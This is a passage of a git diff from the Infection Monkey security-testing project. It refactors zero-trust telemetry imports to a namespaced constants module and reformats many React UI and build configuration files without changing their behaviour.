telemetry_json["data"]["machine"]["ip_addr"], json.dumps(service_data) ), - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) AggregateFinding.create_or_add_to_existing( - test=TEST_DATA_ENDPOINT_HTTP, + test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, status=found_http_server_status, events=events ) AggregateFinding.create_or_add_to_existing( - test=TEST_DATA_ENDPOINT_ELASTIC, + test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, status=found_elastic_search_server, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 454f3a7fe..8c128e7f9 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,5 +1,4 @@ -from common.data.zero_trust_consts import * -from monkey_island.cc.models import Monkey +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event @@ -12,11 +11,11 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target current_monkey.hostname, target_ip, exploiter), - event_type=EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, timestamp=timestamp ) ] - status = STATUS_PASSED + status = zero_trust_consts.STATUS_PASSED if exploit_successful: events.append( Event.create_event( @@ -25,13 +24,13 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target current_monkey.hostname, target_ip, exploiter), - event_type=EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, timestamp=timestamp) ) - status = STATUS_FAILED + status = zero_trust_consts.STATUS_FAILED AggregateFinding.create_or_add_to_existing( - test=TEST_MACHINE_EXPLOITED, + test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index b4efd3c3a..f2c3f61b6 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -1,6 +1,6 @@ import itertools -from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED +import common.data.zero_trust_consts as zero_trust_consts from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet from monkey_island.cc.models import Monkey @@ -9,7 +9,7 @@ from monkey_island.cc.models.zero_trust.segmentation_finding import Segmentation from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ - "from `{src_seg}` segments to `{dst_seg}` segments." + "from `{src_seg}` segments to `{dst_seg}` segments." SEGMENTATION_VIOLATION_EVENT_TEXT = \ "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ @@ -28,7 +28,7 @@ def test_segmentation_violation(current_monkey, target_ip): event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) SegmentationFinding.create_or_add_to_existing_finding( subnets=[source_subnet, target_subnet], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) @@ -66,7 +66,7 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t target_ip=target_ip, target_seg=target_subnet ), - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) @@ -92,7 +92,7 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): for subnet_pair in all_subnets_pairs_for_this_monkey: SegmentationFinding.create_or_add_to_existing_finding( subnets=list(subnet_pair), - status=STATUS_PASSED, + status=zero_trust_consts.STATUS_PASSED, segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair) ) @@ -101,8 +101,8 @@ def get_segmentation_done_event(current_monkey, subnet_pair): return Event.create_event( title="Segmentation test done", message=SEGMENTATION_DONE_EVENT_TEXT.format( - hostname=current_monkey.hostname, - src_seg=subnet_pair[0], - dst_seg=subnet_pair[1]), - event_type=EVENT_TYPE_MONKEY_NETWORK + hostname=current_monkey.hostname, + src_seg=subnet_pair[0], + dst_seg=subnet_pair[1]), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py index 900ac2f89..50d5f1c0b 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py @@ -1,7 +1,6 @@ import uuid -from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_PASSED, STATUS_FAILED, \ - EVENT_TYPE_MONKEY_NETWORK +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding @@ -26,21 +25,29 @@ class TestSegmentationTests(IslandTestCase): ip_addresses=[FIRST_SUBNET]) # no findings - self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) # This is like the monkey is done and sent done telem create_or_add_findings_for_all_pairs(all_subnets, monkey) # There are 2 subnets in which the monkey is NOT - self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2) + self.assertEqual( + len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED)), + 2) # This is a monkey from 2nd subnet communicated with 1st subnet. SegmentationFinding.create_or_add_to_existing_finding( [FIRST_SUBNET, SECOND_SUBNET], - STATUS_FAILED, - Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK) + zero_trust_consts.STATUS_FAILED, + Event.create_event(title="sdf", message="asd", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) ) - self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1) - self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1) - self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 2) + self.assertEqual( + len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED)), + 1) + self.assertEqual( + len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED)), + 1) + self.assertEqual( + len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), + 2) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py index ce34c2bb4..e402525c8 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event @@ -14,13 +14,13 @@ def test_tunneling_violation(tunnel_telemetry_json): title="Tunneling event", message="Monkey on {hostname} tunneled traffic through {proxy}.".format( hostname=current_monkey.hostname, proxy=tunnel_host_ip), - event_type=EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, timestamp=tunnel_telemetry_json['timestamp'] )] AggregateFinding.create_or_add_to_existing( - test=TEST_TUNNELING, - status=STATUS_FAILED, + test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, events=tunneling_events ) diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index 3d43017f6..c1dab52a9 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -54,4 +54,3 @@ class VersionUpdateService: @staticmethod def get_download_link(): return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version()) - diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index 2522b42dd..a802aabf1 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -5,7 +5,6 @@ __author__ = 'maor.rayzin' class WMIHandler(object): - ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' def __init__(self, monkey_id, wmi_info, user_secrets): @@ -160,4 +159,3 @@ class WMIHandler(object): {'type': USERTYPE, 'entities_list': 1}) if entity_details.get('type') == GROUPTYPE: self.add_admin(entity_details, machine_id) - diff --git a/monkey/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc index 31130e826..7c92bc8e1 100644 --- a/monkey/monkey_island/cc/ui/.babelrc +++ b/monkey/monkey_island/cc/ui/.babelrc @@ -1,4 +1,10 @@ { - "presets": ["es2015", "stage-0", "react"], - "plugins": ["emotion"] + "presets": [ + "es2015", + "stage-0", + "react" + ], + "plugins": [ + "emotion" + ] } diff --git a/monkey/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc index b542daaf7..6b5cd85f9 100644 --- a/monkey/monkey_island/cc/ui/.eslintrc +++ b/monkey/monkey_island/cc/ui/.eslintrc @@ -19,14 +19,22 @@ }, "rules": { "comma-dangle": 1, - "quotes": [ 1, "single" ], + "quotes": [ + 1, + "single" + ], "no-undef": 1, "global-strict": 0, "no-extra-semi": 1, "no-underscore-dangle": 0, "no-console": 1, "no-unused-vars": 1, - "no-trailing-spaces": [1, { "skipBlankLines": true }], + "no-trailing-spaces": [ + 1, + { + "skipBlankLines": true + } + ], "no-unreachable": 1, "no-alert": 0, "react/jsx-uses-react": 1, diff --git a/monkey/monkey_island/cc/ui/karma.conf.js b/monkey/monkey_island/cc/ui/karma.conf.js index 87401bfe6..660cb8128 100644 --- a/monkey/monkey_island/cc/ui/karma.conf.js +++ b/monkey/monkey_island/cc/ui/karma.conf.js @@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config'); // Set node environment to testing process.env.NODE_ENV = 'test'; -module.exports = function(config) { +module.exports = function (config) { config.set({ basePath: '', - browsers: [ 'PhantomJS' ], + browsers: ['PhantomJS'], files: [ 'test/loadtests.js' ], port: 8000, captureTimeout: 60000, - frameworks: [ 'mocha', 'chai' ], + frameworks: ['mocha', 'chai'], client: { mocha: {} }, singleRun: true, - reporters: [ 'mocha', 'coverage' ], + reporters: ['mocha', 'coverage'], preprocessors: { - 'test/loadtests.js': [ 'webpack', 'sourcemap' ] + 'test/loadtests.js': ['webpack', 'sourcemap'] }, webpack: webpackCfg, webpackServer: { @@ -28,8 +28,8 @@ module.exports = function(config) { coverageReporter: { dir: 'coverage/', reporters: [ - { type: 'html' }, - { type: 'text' } + {type: 'html'}, + {type: 'text'} ] } }); diff --git a/monkey/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js index ec9182cde..49045359e 100644 --- a/monkey/monkey_island/cc/ui/server.js +++ b/monkey/monkey_island/cc/ui/server.js @@ -14,19 +14,19 @@ let isInitialCompilation = true; const compiler = webpack(config); new WebpackDevServer(compiler, config.devServer) -.listen(config.port, 'localhost', (err) => { - if (err) { - console.log(err); - } - console.log('Listening at localhost:' + config.port); -}); + .listen(config.port, 'localhost', (err) => { + if (err) { + console.log(err); + } + console.log('Listening at localhost:' + config.port); + }); compiler.plugin('done', () => { if (isInitialCompilation) { // Ensures that we log after webpack printed its stats (is there a better way?) setTimeout(() => { console.log('\n✓ The bundle is now ready for serving!\n'); - console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/'); + console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/'); console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n'); console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.') }, 350); diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js index 2e7ef4fc3..640032767 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -14,10 +14,10 @@ class MatrixComponent extends AuthComponent { }; // Finds which attack type has most techniques and returns that number - static findMaxTechniques(data){ + static findMaxTechniques(data) { let maxLen = 0; - data.forEach(function(techType) { - if (Object.keys(techType.properties).length > maxLen){ + data.forEach(function (techType) { + if (Object.keys(techType.properties).length > maxLen) { maxLen = Object.keys(techType.properties).length } }); @@ -25,18 +25,18 @@ class MatrixComponent extends AuthComponent { }; // Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix) - static parseTechniques (data, maxLen) { + static parseTechniques(data, maxLen) { let techniques = []; // Create rows with attack techniques for (let i = 0; i < maxLen; i++) { let row = {}; - data.forEach(function(techType){ + data.forEach(function (techType) { let rowColumn = {}; rowColumn.techName = techType.title; if (i <= Object.keys(techType.properties).length) { rowColumn.technique = Object.values(techType.properties)[i]; - if (rowColumn.technique){ + if (rowColumn.technique) { rowColumn.technique.name = Object.keys(techType.properties)[i] } } else { @@ -50,28 +50,28 @@ class MatrixComponent extends AuthComponent { }; getColumns(matrixData) { - return Object.keys(matrixData[0]).map((key)=>{ + return Object.keys(matrixData[0]).map((key) => { return { Header: key, id: key, accessor: x => this.renderTechnique(x[key].technique), - style: { 'whiteSpace': 'unset' } + style: {'whiteSpace': 'unset'} }; }); } renderTechnique(technique) { - if (technique == null){ - return (
) + if (technique == null) { + return () } else { return (- You have unsubmitted changes. Submit them before proceeding. -
-+ You have unsubmitted changes. Submit them before proceeding. +
+
- Copyright 2017 Guardicore Ltd.
-
+ Copyright 2017 Guardicore Ltd.
+
Licensed under GPLv3.
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
index f9d1f4a83..adb91b908 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -54,7 +54,7 @@ class MapPageComponent extends AuthComponent {
};
updateTelemetryFromServer = () => {
- this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp)
+ this.authFetch('/api/telemetry-feed?timestamp=' + this.state.telemetryLastTimestamp)
.then(res => res.json())
.then(res => {
if ('telemetries' in res) {
@@ -75,8 +75,7 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/netmap/node?id=' + event.nodes[0])
.then(res => res.json())
.then(res => this.setState({selected: res, selectedType: 'node'}));
- }
- else if (event.edges.length === 1) {
+ } else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
@@ -88,8 +87,7 @@ class MapPageComponent extends AuthComponent {
.then(res => res.json())
.then(res => this.setState({selected: res.edge, selectedType: 'edge'}));
}
- }
- else {
+ } else {
this.setState({selected: null, selectedType: null});
}
}
@@ -104,7 +102,9 @@ class MapPageComponent extends AuthComponent {
return (
This might take a few moments...
+
+
- This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers. + This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral + movement opportunities by attackers.
- This report shows information about ATT&CK techniques used by Infection Monkey. -
-+ This report shows information about ATT&CK techniques used by Infection Monkey. +
+- Not sure what this is? Not seeing your AWS EC2 instances? Read the documentation! + Not sure what this is? Not seeing your AWS EC2 instances? Read the documentation!
-
Copy the following command to your machine and run it with Administrator or root privileges. @@ -344,7 +355,7 @@ class RunMonkeyPageComponent extends AuthComponent { />
- : null + : null } { this.state.isOnAws ? @@ -357,7 +368,8 @@ class RunMonkeyPageComponent extends AuthComponent { { this.state.isOnAws ?
-
- Error while collecting AWS machine data. Error message: {this.state.awsMachineCollectionErrorMsg}
+ Error while collecting AWS machine data. Error
+ message: {this.state.awsMachineCollectionErrorMsg}
Are you sure you've set the correct role on your Island AWS machine?
- Not sure what this is? Read the documentation!
+ Not sure what this is? Read
+ the documentation!
Are you sure you want to reset the environment?
@@ -40,7 +42,7 @@ class StartOverPageComponent extends AuthComponent { Some monkeys are still running. It's advised to kill all monkeys before resetting. : - + }Download Monkey Island internal log file
-Download Monkey Island internal log file
+You have to run a monkey before generating a report!
; - } else if (this.state.report === false){ - content = (- There {Pluralize('is', this.props.events.length)} {
- Get a quick glance at how your network aligns with the - Zero Trust eXtended (ZTX) framework - . + Get a quick glance at how your network aligns with the + Zero Trust eXtended (ZTX) framework + .
diff --git a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js index 6a8fe9416..f2815a142 100644 --- a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js +++ b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js @@ -8,10 +8,10 @@ const columns = [ { Header: 'Machines', columns: [ - { Header: 'Machine', accessor: 'name'}, - { Header: 'Instance ID', accessor: 'instance_id'}, - { Header: 'IP Address', accessor: 'ip_address'}, - { Header: 'OS', accessor: 'os'} + {Header: 'Machine', accessor: 'name'}, + {Header: 'Instance ID', accessor: 'instance_id'}, + {Header: 'IP Address', accessor: 'ip_address'}, + {Header: 'OS', accessor: 'os'} ] } ]; @@ -44,7 +44,7 @@ class AwsRunTableComponent extends React.Component { selection.push(key); } // update the state - this.setState({ selection }); + this.setState({selection}); }; isSelected = key => { @@ -64,7 +64,7 @@ class AwsRunTableComponent extends React.Component { selection.push(item._original.instance_id); }); } - this.setState({ selectAll, selection }); + this.setState({selectAll, selection}); }; getTrProps = (s, r) => { diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js index 74204973a..f200a6fdb 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js @@ -15,59 +15,68 @@ class CheckboxComponent extends React.PureComponent { this.props.name (the name of this component) and this.state.checked (boolean indicating if this component is checked or not) */ - constructor(props) { - super(props); - this.state = { - checked: this.props.checked, + constructor(props) { + super(props); + this.state = { + checked: this.props.checked, necessary: this.props.necessary, - isAnimating: false - }; - this.toggleChecked = this.toggleChecked.bind(this); - this.stopAnimation = this.stopAnimation.bind(this); - this.composeStateClasses = this.composeStateClasses.bind(this); - } + isAnimating: false + }; + this.toggleChecked = this.toggleChecked.bind(this); + this.stopAnimation = this.stopAnimation.bind(this); + this.composeStateClasses = this.composeStateClasses.bind(this); + } - //Toggles component. - toggleChecked() { - if (this.state.isAnimating) {return false;} - this.setState({ - checked: !this.state.checked, - isAnimating: true, - }, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null}); - } + //Toggles component. + toggleChecked() { + if (this.state.isAnimating) { + return false; + } + this.setState({ + checked: !this.state.checked, + isAnimating: true, + }, () => { + this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null + }); + } - // Stops ping animation on checkbox after click - stopAnimation() { - this.setState({ isAnimating: false }) - } + // Stops ping animation on checkbox after click + stopAnimation() { + this.setState({isAnimating: false}) + } - // Creates class string for component - composeStateClasses(core) { - let result = core; - if (this.state.necessary){ + // Creates class string for component + composeStateClasses(core) { + let result = core; + if (this.state.necessary) { return result + ' blocked' } - if (this.state.checked) { result += ' is-checked'; } - else { result += ' is-unchecked' } + if (this.state.checked) { + result += ' is-checked'; + } else { + result += ' is-unchecked' + } - if (this.state.isAnimating) { result += ' do-ping'; } - return result; - } + if (this.state.isAnimating) { + result += ' do-ping'; + } + return result; + } - render() { - const cl = this.composeStateClasses('ui-checkbox-btn'); - return ( -